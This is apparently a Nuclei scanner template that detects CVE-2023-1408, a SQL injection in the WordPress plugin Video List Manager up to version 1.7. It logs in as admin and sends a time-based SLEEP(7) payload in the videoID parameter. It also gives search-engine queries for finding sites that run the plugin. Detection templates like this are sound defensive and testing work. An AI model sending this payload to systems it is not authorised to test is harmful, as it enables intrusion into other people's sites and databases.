id: CVE-2023-1408

info:
  name: Video List Manager <= 1.7 - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin.
  impact: |
    Authenticated high-privilege attackers (admin) can exploit SQL injection through the videoID parameter to extract database contents, potentially stealing user credentials, video metadata, and compromising the WordPress database.
  remediation: |
    Update Video List Manager plugin to a version newer than 1.7 that uses parameterized queries or prepared statements for the videoID parameter in admin.php.
  reference:
    - https://wpscan.com/vulnerability/baf7ef4d-b2ba-48e0-9c17-74fa27e0c15b
    - https://wordpress.org/plugins/video-list-manager/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1408
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-1408
    cwe-id: CWE-89
    epss-score: 0.03229
    epss-percentile: 0.87
    cpe: cpe:2.3:a:video_list_manager_project:video_list_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: video_list_manager_project
    product: video_list_manager
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/video-list-manager/
    fofa-query: body=/wp-content/plugins/video-list-manager/
    publicwww-query: /wp-content/plugins/video-list-manager/
  tags: time-based-sqli,cve,cve2023,wpscan,sqli,wordpress,wp-plugin,wp,authenticated,video_list_manager_project,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 15s
        GET /wp-admin/admin.php?page=tnt_video_edit_page&videoID=SLEEP(7) HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=7'
          - 'status_code_2 == 200'
          - 'contains_all(body_2, "Edit Video","Youtube</option>")'
        condition: and
# digest: 490a0046304402200a6f5865b357756a4596e97973901b277ab12b07c085233518c4687aecc1a2cc02205103e7495c9057ff9246779df5d717a1b2cc2154b1910c5b29d207c3870cb50f:922c64590222798bb761d5b6d8e72950